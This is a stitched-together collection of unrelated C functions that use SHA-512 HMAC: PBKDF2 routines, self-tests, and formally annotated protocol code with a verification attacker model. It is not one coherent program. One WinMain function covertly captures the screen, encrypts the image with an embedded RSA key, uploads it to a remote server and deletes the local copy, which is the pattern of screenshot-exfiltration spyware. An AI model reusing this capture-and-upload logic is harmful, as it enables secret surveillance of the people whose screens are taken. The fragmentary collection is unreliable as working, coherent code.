void pbkdf2_512(uint64_t key[8], const char *password, const char *salt, int iterations) { int plen = strlen(password); int slen = strlen(salt); int j, k; uint64_t buf[8]; uint8_t salti[slen + 4]; memcpy(salti, salt, slen); // Derived key size equals PRF size (512 bits) in this implementation. // Hence, i is always 1. salti[slen++] = 0; salti[slen++] = 0; salti[slen++] = 0; salti[slen++] = 1; sha512_hmac(buf, (const uint8_t *) password, plen, salti, slen); memcpy(key, buf, sizeof buf); for (j = 1; j < iterations; j++) { sha512_hmac(buf, (const uint8_t *) password, plen, (uint8_t *) buf, sizeof buf); for (k = 0; k != sizeof buf / sizeof buf[0]; k++) key[k] ^= buf[k]; } }
void _stdcall sha512_pkcs5_2(int i_count, const void *pwd, size_t pwd_len, const char *salt, size_t salt_len, char *dk, size_t dklen) { unsigned char buff[128]; unsigned char blk[SHA512_DIGEST_SIZE]; unsigned char hmac[SHA512_DIGEST_SIZE]; unsigned long block = 1; size_t c_len; int j, i; while (dklen != 0) { // first interation memcpy(buff, salt, salt_len); ((unsigned long*)(buff + salt_len))[0] = _byteswap_ulong(block); sha512_hmac(pwd, pwd_len, buff, salt_len + 4, (char*)hmac); memcpy(blk, hmac, SHA512_DIGEST_SIZE); // next interations for (i = 1; i < i_count; i++) { sha512_hmac(pwd, pwd_len, hmac, SHA512_DIGEST_SIZE, (char*)hmac); for (j = 0; j < (SHA512_DIGEST_SIZE / 4); j++) { ((unsigned long*)blk)[j] ^= ((unsigned long*)hmac)[j]; } } memcpy(dk, blk, (c_len = dklen < SHA512_DIGEST_SIZE ? dklen : SHA512_DIGEST_SIZE)); dk += c_len; dklen -= c_len; block++; } // test buffers size alignment at compile-time static_assert( !(sizeof(buff) % sizeof(unsigned long)), "sizeof must be 4 byte aligned"); static_assert( !(sizeof(blk) % sizeof(unsigned long)), "sizeof must be 4 byte aligned"); static_assert( !(sizeof(hmac) % sizeof(unsigned long)), "sizeof must be 4 byte aligned"); // prevent leaks __stosd((unsigned long*)&buff, 0, (sizeof(buff) / sizeof(unsigned long))); __stosd((unsigned long*)&blk, 0, (sizeof(blk) / sizeof(unsigned long))); __stosd((unsigned long*)&hmac, 0, (sizeof(hmac) / sizeof(unsigned long))); }
void sha512_pkcs5_2( int i_count, const void *pwd, size_t pwd_len, const char *salt, size_t salt_len, char *dk, size_t dklen ) { u8 buff[128]; u8 blk[SHA512_DIGEST_SIZE]; u8 hmac[SHA512_DIGEST_SIZE]; u32 block = 1; size_t c_len, j; int i; while (dklen != 0) { /* first interation */ mincpy(buff, salt, salt_len); p32(buff + salt_len)[0] = BE32(block); sha512_hmac(pwd, pwd_len, buff, salt_len + 4, hmac); autocpy(blk, hmac, SHA512_DIGEST_SIZE); /* next interations */ for (i = 1; i < i_count; i++) { sha512_hmac(pwd, pwd_len, hmac, SHA512_DIGEST_SIZE, hmac); for (j = 0; j < SHA512_DIGEST_SIZE; j++) { blk[j] ^= hmac[j]; } } c_len = min(dklen, SHA512_DIGEST_SIZE); mincpy(dk, blk, c_len); dk += c_len; dklen -= c_len; block++; } /* prevent leaks */ zeroauto(buff, sizeof(buff)); zeroauto(blk, sizeof(blk)); zeroauto(hmac, sizeof(hmac)); }
void sender(char *key, int key_len, char *message) /*@ requires [_]public_invar(hmac_pub) &*& principal(?sender, _) &*& [?f1]cryptogram(key, key_len, ?key_cs, ?key_cg) &*& key_cg == cg_symmetric_key(sender, ?id) &*& [?f2]chars(message, MESSAGE_SIZE, ?msg_cs) &*& true == send(sender, shared_with(sender, id), msg_cs); @*/ /*@ ensures principal(sender, _) &*& [f1]cryptogram(key, key_len, key_cs, key_cg) &*& [f2]chars(message, MESSAGE_SIZE, msg_cs); @*/ { //@ open principal(sender, _); int socket; char hmac[64]; net_usleep(20000); if(net_connect(&socket, NULL, SERVER_PORT) != 0) abort(); if(net_set_block(socket) != 0) abort(); { int message_len = MESSAGE_SIZE + 64; char* M = malloc(message_len); if (M == 0) abort(); //@ chars_to_crypto_chars(message, MESSAGE_SIZE); memcpy(M, message, MESSAGE_SIZE); sha512_hmac(key, (unsigned int) key_len, M, (unsigned int) MESSAGE_SIZE, hmac, 0); //@ assert cryptogram(hmac, 64, ?hmac_cs, ?hmac_cg); //@ close hmac_pub(hmac_cg); //@ leak hmac_pub(hmac_cg); //@ public_cryptogram(hmac, hmac_cg); //@ chars_to_crypto_chars(hmac, 64); memcpy(M + MESSAGE_SIZE, hmac, 64); //@ crypto_chars_to_chars(M, MESSAGE_SIZE); //@ crypto_chars_to_chars(M + MESSAGE_SIZE, 64); //@ chars_join(M); net_send(&socket, M, (unsigned int) message_len); free(M); } net_close(socket); //@ close principal(sender, _); }
int test_sha512_hmac() { const char *p_key, *data; unsigned char hmac[SHA512_DIGEST_SIZE]; int i; // test HMAC-SHA-512 for (i = 0; i < _countof(sha512_hmac_vectors); i++) { p_key = sha512_hmac_vectors[i].key; data = sha512_hmac_vectors[i].data; sha512_hmac(p_key, strlen(p_key), data, strlen(data), hmac); if (memcmp(hmac, sha512_hmac_vectors[i].hmac, sizeof(hmac)) != 0) return 0; } // all tests passed return 1; }
void attacker_send_hmac(havege_state *havege_state, void* socket) //@ requires attacker_invariant(?pub, ?pred, ?kc, havege_state, socket, ?attacker); //@ ensures attacker_invariant(pub, pred, kc, havege_state, socket, attacker); { int temp; int size1; int size2; char buffer1[MAX_MESSAGE_SIZE]; char buffer2[MAX_MESSAGE_SIZE]; char buffer3[64]; //@ open attacker_invariant(pub, pred, kc, havege_state, socket, attacker); size1 = net_recv(socket, buffer1, MAX_MESSAGE_SIZE); size2 = net_recv(socket, buffer2, MAX_MESSAGE_SIZE); if (size1 <= 0 || size2 < MINIMAL_STRING_SIZE) { //@ close attacker_invariant(pub, pred, kc, havege_state, socket, attacker); return; } //@ interpret_symmetric_key(buffer1, size1); //@ assert cryptogram(buffer1, size1, ?ccs1, cg_symmetric_key(?p, ?c)); //@ assert chars(buffer2, size2, ?pay); //@ chars_to_crypto_chars(buffer2, size2); //@ public_cs(pay); //@ HASH_PUB_PAYLOAD(pay) sha512_hmac(buffer1, (unsigned int) size1, buffer2, (unsigned int) size2, buffer3, 0); //@ assert cryptogram(buffer3, 64, ?ccs_hmac, ?hmac); //@ assert is_public_hmac_is_public(?proof2, pub, pred); //@ crypto_chars_to_chars(buffer2, size2); //@ public_chars(buffer2, size2); //@ proof2(hmac); //@ public_cryptogram(buffer3, hmac); net_send(socket, buffer3, 64); //@ public_cryptogram(buffer1, cg_symmetric_key(p, c)); //@ close attacker_invariant(pub, pred, kc, havege_state, socket, attacker); }
int test_pkcs5() { const char *p_key, *data; u8 hmac[SHA512_DIGEST_SIZE]; const char *pass, *salt; int i, dklen; u8 dk[144]; /* test HMAC-SHA-512 */ for (i = 0; i < array_num(sha512_hmac_vectors); i++) { p_key = sha512_hmac_vectors[i].key; data = sha512_hmac_vectors[i].data; sha512_hmac(p_key, strlen(p_key), data, strlen(data), hmac); if (memcmp(hmac, sha512_hmac_vectors[i].hmac, sizeof(hmac)) != 0) { return 0; } } /* test PKDBF2 */ for (i = 0; i < array_num(pkcs5_vectors); i++) { pass = pkcs5_vectors[i].password; salt = pkcs5_vectors[i].salt; dklen = pkcs5_vectors[i].dklen; sha512_pkcs5_2( pkcs5_vectors[i].i_count, pass, strlen(pass), salt, strlen(salt), dk, dklen); if (memcmp(dk, pkcs5_vectors[i].key, dklen) != 0) { return 0; } } return 1; }
static void sha512_hmac_wrap( const unsigned char *key, size_t keylen, const unsigned char *input, size_t ilen, unsigned char *output ) { sha512_hmac( key, keylen, input, ilen, output, 0 ); }
void receiver(char *key, int key_len, char *message) /*@ requires [_]public_invar(hmac_pub) &*& principal(?receiver, _) &*& [?f1]cryptogram(key, key_len, ?key_cs, ?key_cg) &*& key_cg == cg_symmetric_key(?sender, ?id) &*& receiver == shared_with(sender, id) &*& chars(message, MESSAGE_SIZE, _); @*/ /*@ ensures principal(receiver, _) &*& [f1]cryptogram(key, key_len, key_cs, key_cg) &*& chars(message, MESSAGE_SIZE, ?msg_cs) &*& col || bad(sender) || bad(receiver) || send(sender, receiver, msg_cs); @*/ { //@ open principal(receiver, _); int socket1; int socket2; if(net_bind(&socket1, NULL, SERVER_PORT) != 0) abort(); if(net_accept(socket1, &socket2, NULL) != 0) abort(); if(net_set_block(socket2) != 0) abort(); { int size; char buffer[MAX_MESSAGE_SIZE]; char hmac[64]; size = net_recv(&socket2, buffer, MAX_MESSAGE_SIZE); int expected_size = MESSAGE_SIZE + 64; if (size != expected_size) abort(); //@ chars_split(buffer, expected_size); //@ assert chars(buffer, MESSAGE_SIZE, ?msg_cs); /*@ close hide_chars((void*) buffer + expected_size, MAX_MESSAGE_SIZE - expected_size, _); @*/ //Verify the hmac //@ chars_to_crypto_chars(buffer, MESSAGE_SIZE); sha512_hmac(key, (unsigned int) key_len, buffer, (unsigned int) MESSAGE_SIZE, hmac, 0); memcpy(message, (void*) buffer , MESSAGE_SIZE); //@ open cryptogram(hmac, 64, ?hmac_cs, ?hmac_cg); //@ close memcmp_secret(hmac, 64, hmac_cs, hmac_cg); //@ assert hmac_cg == cg_hmac(sender, id, msg_cs); //@ assert chars((void*) buffer + MESSAGE_SIZE, 64, ?hmac_cs2); //@ public_chars((void*) buffer + MESSAGE_SIZE, 64); //@ chars_to_crypto_chars((void*) buffer + MESSAGE_SIZE, 64); if (memcmp((void*) buffer + MESSAGE_SIZE, hmac, 64) != 0) abort(); //@ crypto_chars_join(buffer); //@ crypto_chars_to_chars(buffer, expected_size); //@ public_crypto_chars(hmac, 64); /*@ if (!col && !bad(sender) && !bad(receiver)) { public_chars_extract(hmac, hmac_cg); open [_]hmac_pub(hmac_cg); assert (send(sender, receiver, msg_cs) == true); } @*/ /*@ open hide_chars((void*) buffer + expected_size, MAX_MESSAGE_SIZE - expected_size, _); @*/ } net_close(socket2); net_close(socket1); //@ close principal(receiver, _); }
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ //misc vars char currentpath[MAX_PATH] = {0}; //vars for getting public key from exe unsigned char *pubrsakey = NULL; int pubkeylen = 0; //vars for taking the screenshot unsigned char *finalbmpfile = NULL; unsigned char *finalcompressedbmpfile = NULL; int finalcompressedbmpfilelen = 0; int finalbmpfilesize = 0; //vars for data encryption pk_context pk_ctx; char *keypersonalisation = "5T+qDlP1=R1ek?GLqi|=)1O(niSimHBx|2\5QE.DN<7W\"]I@:?uSa#}txXN<9oG6"; char *ivpersonalisation = "J0eeYYCW.`6m;I5[v4|]0NDe1Hx)Co8D u]~9ZC\"x6AESc=a\\/W-e7d1bnMwq,z=]"; unsigned char *aeskey = NULL; unsigned char *aesiv = NULL; unsigned char *encrypteddata = NULL; int encrypteddatalen = 0; unsigned char *pubkeyencrypteddata; unsigned int pubkeyencrypteddatalen = 0; unsigned char keydata[48] = {0}; //vars for hmac char *hmackeypersonalisation = "UGY624Z078'm.34\"|TSUOu\\M4}r!ammvFekes:%48=RmaA\\?SC.UTi8zB)A1a[P:"; unsigned char *hmackey = NULL; unsigned char hmacoutput[64] = {0}; //vars for writing to file DWORD dwBytesWritten = 0; HANDLE hFile = NULL; outputerror(DBG_INFO,"%s\n","main::started"); /* get public key*/ GetModuleFileName(NULL,¤tpath[0],sizeof(currentpath)); pubrsakey = getpublickeyfromself(¤tpath[0],&pubkeylen); if(pubrsakey == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to get public key"); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); exit(1); } SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); /* take screenshot */ if(takescreenshot(&finalbmpfile,&finalbmpfilesize) == 1){ outputerror(DBG_ERROR,"%s\n","main::failed to take screenshot"); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* Main logic code generate aes key generate aes iv generate hmac key rsa encrypt(aeskey,aesiv) write encrypted rsa length write encrypted rsa blob encrypt screenshot write encrypted hmac key hmac(encrypted screenshot) write hmac write screenshot send screenshot delete screenshot In case you are wondering why locally save and delete, so that we don't loose screenshots if the sending fails. */ aeskey = generatekey(keypersonalisation,256); aesiv = generatekey(ivpersonalisation,128); hmackey = generatekey(hmackeypersonalisation,256); memcpy_s(keydata,48,aeskey,32); memcpy_s(keydata+32,48,aesiv,16); /* get and parse public key */ pk_ctx = getpubkeycontext(pubrsakey,pubkeylen); if(pk_get_len(&pk_ctx) == 0){ outputerror(DBG_ERROR,"%s\n","main::failed to parse public key"); pk_free(&pk_ctx); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* encrypt aes key and iv and write to file */ pubkeyencrypteddatalen = pk_get_len(&pk_ctx); pubkeyencrypteddata = (unsigned char *)malloc(pubkeyencrypteddatalen); SecureZeroMemory(pubkeyencrypteddata,pubkeyencrypteddatalen); pubkeyencrypteddata = rsacrypt(&pk_ctx,keydata,48); if(pubkeyencrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt aes key + aes iv"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } hFile = CreateFile("screen.enc", GENERIC_WRITE, 0, NULL,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile,(char *)&pubkeyencrypteddatalen,4,&dwBytesWritten,NULL); WriteFile(hFile,pubkeyencrypteddata,pubkeyencrypteddatalen,&dwBytesWritten,NULL); /* compress screenshot */ outputerror(DBG_INFO,"%s\n","main::compressing screenshot"); finalcompressedbmpfilelen = compressdata(finalbmpfile,finalbmpfilesize,&finalcompressedbmpfile); if(finalcompressedbmpfilelen == 0){ outputerror(DBG_ERROR,"%s\n","main::failed to compress final bmp file"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); zfree(finalcompressedbmpfile); exit(1); } SecureZeroMemory(finalbmpfile,finalbmpfilesize); /* encrypt screenshot */ encrypteddata = encryptaes(aeskey,256,aesiv,finalcompressedbmpfile,finalcompressedbmpfilelen,&encrypteddatalen); if(encrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt the actual screenshot"); pk_free(&pk_ctx); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); zfree(finalbmpfile); exit(1); } /* encrypt hmac key and write to file*/ SecureZeroMemory(pubkeyencrypteddata,pubkeyencrypteddatalen); pubkeyencrypteddata = rsacrypt(&pk_ctx,hmackey,32); if(pubkeyencrypteddata == NULL){ outputerror(DBG_ERROR,"%s\n","main::failed to encrypt hmac key"); pk_free(&pk_ctx); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(hmackey,32); SecureZeroMemory(finalbmpfile,finalbmpfilesize); SecureZeroMemory(currentpath,(sizeof(currentpath)/sizeof(currentpath[0]))); exit(1); } WriteFile(hFile,pubkeyencrypteddata,pubkeyencrypteddatalen,&dwBytesWritten,NULL); /* calculate hmac(encrypteddata) and write to file */ sha512_hmac(hmackey,32,encrypteddata,encrypteddatalen,hmacoutput,0); WriteFile(hFile,hmacoutput,64,&dwBytesWritten,NULL); /* write encrypted screenshot to file */ WriteFile(hFile,encrypteddata,encrypteddatalen,&dwBytesWritten,NULL); CloseHandle(hFile); /* cleanup */ pk_free(&pk_ctx); SecureZeroMemory(finalbmpfile,finalbmpfilesize); SecureZeroMemory(keydata,48); SecureZeroMemory(aeskey,32); SecureZeroMemory(aesiv,16); SecureZeroMemory(hmackey,32); SecureZeroMemory(finalbmpfile,finalbmpfilesize); free(finalbmpfile); free(finalcompressedbmpfile); free(aeskey); free(aesiv); free(hmackey); free(pubrsakey); free(encrypteddata); free(pubkeyencrypteddata); outputerror(DBG_INFO,"%s\n","main::finished"); /* now we send the file to our server if it works, we delete the file */ if (uploadscreenshot(UPLOAD_SERVER, "screen.enc") == 1){ DeleteFile("screen.enc"); } return 0; }
void sender(char *enc_key, char *hmac_key, char *msg, unsigned int msg_len) /*@ requires [_]public_invar(enc_then_hmac_pub) &*& principal(?sender, _) &*& [?f1]cryptogram(enc_key, KEY_SIZE, ?enc_key_ccs, ?enc_key_cg) &*& [?f2]cryptogram(hmac_key, KEY_SIZE, ?hmac_key_ccs, ?hmac_key_cg) &*& enc_key_cg == cg_symmetric_key(sender, ?enc_id) &*& hmac_key_cg == cg_symmetric_key(sender, ?hmac_id) &*& cg_info(hmac_key_cg) == enc_id &*& shared_with(sender, enc_id) == shared_with(sender, hmac_id) &*& [?f3]crypto_chars(secret, msg, msg_len, ?msg_ccs) &*& MAX_SIZE >= msg_len &*& msg_len >= MINIMAL_STRING_SIZE &*& bad(sender) || bad(shared_with(sender, enc_id)) ? [_]public_ccs(msg_ccs) : true == send(sender, shared_with(sender, enc_id), msg_ccs); @*/ /*@ ensures principal(sender, _) &*& [f1]cryptogram(enc_key, KEY_SIZE, enc_key_ccs, enc_key_cg) &*& [f2]cryptogram(hmac_key, KEY_SIZE, hmac_key_ccs, hmac_key_cg) &*& [f3]crypto_chars(secret, msg, msg_len, msg_ccs); @*/ { //@ open principal(sender, _); int socket; havege_state havege_state; char iv[16]; unsigned int iv_off = 0; char hmac[64]; aes_context aes_context; net_usleep(20000); if(net_connect(&socket, NULL, SERVER_PORT) != 0) abort(); if(net_set_block(socket) != 0) abort(); { int message_len = 16 + (int) msg_len + 64; char* message = malloc(message_len); if (message == 0) abort(); // IV stuff //@ close havege_state(&havege_state); havege_init(&havege_state); //@ close random_request(sender, 0, false); if (havege_random(&havege_state, iv, 16) != 0) abort(); //@ open cryptogram(iv, 16, ?iv_ccs, ?iv_cg); //@ close enc_then_hmac_pub(iv_cg); //@ leak enc_then_hmac_pub(iv_cg); memcpy(message, iv, 16); //@ close cryptogram(message, 16, iv_ccs, iv_cg); //@ public_cryptogram(message, iv_cg); //@ assert chars(message, 16, ?iv_cs); //@ public_chars(message, 16); havege_free(&havege_state); //@ open havege_state(&havege_state); // encrypt //@ close aes_context(&aes_context); if (aes_setkey_enc(&aes_context, enc_key, (unsigned int) (KEY_SIZE * 8)) != 0) abort(); if (aes_crypt_cfb128(&aes_context, AES_ENCRYPT, msg_len, &iv_off, iv, msg, message + 16) != 0) abort(); //@ open cryptogram(message + 16, msg_len, ?enc_ccs, ?enc_cg); //@ close cryptogram(message + 16, msg_len, enc_ccs, enc_cg); //@ close enc_then_hmac_pub(enc_cg); //@ leak enc_then_hmac_pub(enc_cg); //@ public_cryptogram(message + 16, enc_cg); //@ assert chars(message + 16, msg_len, ?enc_cs); //@ public_chars(message + 16, msg_len); //@ assert chars(message, 16 + msg_len, append(iv_cs, enc_cs)); //@ assert enc_cg == cg_encrypted(sender, enc_id, msg_ccs, iv_ccs); zeroize(iv, 16); aes_free(&aes_context); //@ open aes_context(&aes_context); // hmac //@ chars_to_crypto_chars(message, 16 + msg_len); //@ HASH_PUB_PAYLOAD(append(iv_cs, enc_cs)) sha512_hmac(hmac_key, KEY_SIZE, message, (unsigned int) (16 + (int) msg_len), message + 16 + (int) msg_len, 0); //@ assert cryptogram(message + 16 + msg_len, 64, ?hmac_ccs, ?hmac_cg); //@ cs_to_ccs_append(iv_cs, enc_cs); //@ assert hmac_cg == cg_hmac(sender, hmac_id, append(iv_ccs, enc_ccs)); /*@ if (!col && !enc_then_hmac_public_key(sender, enc_id, true)) close enc_then_hmac_pub_1(enc_id, msg_ccs, iv_ccs); @*/ /*@ if (col || enc_then_hmac_public_key(sender, enc_id, true)) { assert [_]public_ccs(iv_ccs); assert [_]public_ccs(enc_ccs); public_ccs_join(iv_ccs, enc_ccs); } @*/ //@ close enc_then_hmac_pub(hmac_cg); //@ leak enc_then_hmac_pub(hmac_cg); //@ public_cryptogram(message + 16 + msg_len, hmac_cg); //@ assert chars(message + 16 + msg_len, 64, ?hmac_cs); //@ append_assoc(iv_ccs, enc_ccs, hmac_ccs); //@ append_assoc(iv_cs, enc_cs, hmac_cs); //@ cs_to_ccs_crypto_chars(message, append(iv_cs, enc_cs)); /*@ assert chars(message, message_len, append(iv_cs, append(enc_cs, hmac_cs))); @*/ net_send(&socket, message, (unsigned int) message_len); free(message); } net_close(socket); //@ close principal(sender, _); }
int receiver(char *enc_key, char *hmac_key, char *msg) /*@ requires [_]public_invar(enc_then_hmac_pub) &*& [_]decryption_key_classifier(enc_then_hmac_public_key) &*& principal(?receiver, _) &*& [?f1]cryptogram(enc_key, KEY_SIZE, ?enc_key_ccs, ?enc_key_cg) &*& [?f2]cryptogram(hmac_key, KEY_SIZE, ?hmac_key_ccs, ?hmac_key_cg) &*& enc_key_cg == cg_symmetric_key(?sender, ?enc_id) &*& hmac_key_cg == cg_symmetric_key(sender, ?hmac_id) &*& cg_info(hmac_key_cg) == enc_id &*& receiver == shared_with(sender, enc_id) &*& receiver == shared_with(sender, hmac_id) &*& chars(msg, MAX_SIZE, _); @*/ /*@ ensures principal(receiver, _) &*& [f1]cryptogram(enc_key, KEY_SIZE, enc_key_ccs, enc_key_cg) &*& [f2]cryptogram(hmac_key, KEY_SIZE, hmac_key_ccs, hmac_key_cg) &*& chars(msg + result, MAX_SIZE - result, _) &*& crypto_chars(?kind, msg, result, ?msg_ccs) &*& col || bad(sender) || bad(receiver) || (kind == secret && send(sender, receiver, msg_ccs)); @*/ { //@ open principal(receiver, _); int socket1; int socket2; int size; int enc_size; char iv[16]; unsigned int iv_off = 0; char hmac[64]; aes_context aes_context; if(net_bind(&socket1, NULL, SERVER_PORT) != 0) abort(); if(net_accept(socket1, &socket2, NULL) != 0) abort(); if(net_set_block(socket2) != 0) abort(); { int max_size = 16 + MAX_SIZE + 64; char *buffer = malloc (max_size); if (buffer == 0) abort(); size = net_recv(&socket2, buffer, (unsigned int) max_size); if (size <= 16 + 64) abort(); enc_size = size - 16 - 64; if (enc_size < MINIMAL_STRING_SIZE) abort(); //@ chars_split(buffer, size); //@ assert chars(buffer, size, ?all_cs); //@ close hide_chars((void*) buffer + size, max_size - size, _); //Verify the hmac //@ chars_split(buffer, size - 64); //@ public_chars(buffer + size - 64, 64); //@ assert chars(buffer + size - 64, 64, ?hmac_cs); //@ assert chars(buffer, size - 64, ?pay_cs); //@ chars_to_crypto_chars(buffer, size - 64); //@ HASH_PUB_PAYLOAD(pay_cs) sha512_hmac(hmac_key, KEY_SIZE, buffer, (unsigned int) (size - 64), hmac, 0); //@ open cryptogram(hmac, 64, ?hmac_ccs, ?hmac_cg); //@ chars_to_crypto_chars((void*) buffer + size - 64, 64); //@ close memcmp_secret(hmac, 64, hmac_ccs, hmac_cg); if (memcmp((void*) buffer + size - 64, hmac, 64) != 0) abort(); /*@ if (!col) { public_ccs_cg(hmac_cg); public_crypto_chars(hmac, 64); } else { crypto_chars_to_chars(hmac, 64); } @*/ //@ assert all_cs == append(pay_cs, hmac_cs); // IV stuff //@ cs_to_ccs_crypto_chars(buffer, pay_cs); //@ chars_split(buffer, 16); //@ assert chars(buffer, 16, ?iv_cs); //@ chars_to_crypto_chars(buffer, 16); //@ assert crypto_chars(normal, buffer, 16, ?iv_ccs); memcpy(iv, buffer, 16); //@ cs_to_ccs_crypto_chars(iv, iv_cs); //@ interpret_nonce(iv, 16); //@ open cryptogram(iv, 16, iv_ccs, ?iv_cg); //Decrypt //@ assert chars(buffer + 16, enc_size, ?enc_cs); //@ interpret_encrypted(buffer + 16, enc_size); //@ open cryptogram(buffer + 16, enc_size, ?enc_ccs, ?enc_cg); //@ close cryptogram(buffer + 16, enc_size, enc_ccs, enc_cg); //@ assert enc_cg == cg_encrypted(?p2, ?c2, ?dec_ccs2, ?iv_ccs2); //@ close aes_context(&aes_context); if (aes_setkey_enc(&aes_context, enc_key, (unsigned int) (KEY_SIZE * 8)) != 0) abort(); //@ structure s = known_value(0, dec_ccs2); //@ close decryption_pre(true, false, receiver, s, enc_ccs); if (aes_crypt_cfb128(&aes_context, AES_DECRYPT, (unsigned int) enc_size, &iv_off, iv, buffer + 16, msg) != 0) abort(); //@ assert pay_cs == append(iv_cs, enc_cs); //@ cs_to_ccs_append(iv_cs, enc_cs); zeroize(iv, 16); aes_free(&aes_context); //@ open aes_context(&aes_context); //@ public_cg_ccs(enc_cg); //@ public_cryptogram(buffer + 16, enc_cg); /*@ open decryption_post(true, ?garbage, receiver, s, sender, enc_id, ?dec_ccs); @*/ /*@ if (!col) { open [_]enc_then_hmac_pub(hmac_cg); open [_]enc_then_hmac_pub(enc_cg); if (!enc_then_hmac_public_key(sender, enc_id, true)) { assert [_]enc_then_hmac_pub_1(?id, ?dec_ccs3, ?ent); cryptogram enc_cg3 = cg_encrypted(sender, id, dec_ccs3, ent); take_append(16, iv_ccs, ccs_for_cg(enc_cg)); take_append(16, ent, ccs_for_cg(enc_cg3)); assert ent == iv_ccs; drop_append(16, iv_ccs, ccs_for_cg(enc_cg)); drop_append(16, ent, ccs_for_cg(enc_cg3)); assert ccs_for_cg(enc_cg) == ccs_for_cg(enc_cg3); ccs_for_cg_inj(enc_cg, enc_cg3); assert dec_ccs2 == dec_ccs3; close exists(pair(nil, nil)); close has_structure(dec_ccs2, s); leak has_structure(dec_ccs2, s); } } else { crypto_chars_to_chars(msg, enc_size); chars_to_secret_crypto_chars(msg, enc_size); } @*/ //@ if (garbage) decryption_garbage(msg, enc_size, s); //@ open hide_chars((void*) buffer + size, max_size - size, _); //@ crypto_chars_to_chars(buffer, 16); //@ crypto_chars_to_chars(buffer + size - 64, 64); //@ chars_join(buffer); //@ chars_join(buffer); free(buffer); } net_close(socket2); net_close(socket1); return enc_size; //@ close principal(receiver, _); }